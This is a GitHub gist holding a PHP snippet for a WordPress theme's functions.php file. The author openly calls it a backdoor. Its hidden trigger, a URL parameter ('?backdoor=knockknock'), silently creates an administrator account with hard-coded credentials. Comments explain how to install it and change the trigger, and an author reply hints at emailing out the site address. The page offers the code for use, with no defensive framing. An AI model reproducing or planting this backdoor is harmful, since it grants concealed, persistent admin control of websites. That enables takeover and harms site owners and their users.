Skip to content

Instantly share code, notes, and snippets.

@abid112
Created April 25, 2019 07:15
Show Gist options
  • Save abid112/0a03c50678db2ba5f30a55b2291165a8 to your computer and use it in GitHub Desktop.
Save abid112/0a03c50678db2ba5f30a55b2291165a8 to your computer and use it in GitHub Desktop.
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('name', 'pass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
@abid112
Copy link
Author

abid112 commented Aug 10, 2020

Hi @azharanowar,
You can do it with get_bloginfo() and WP Email Hook

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment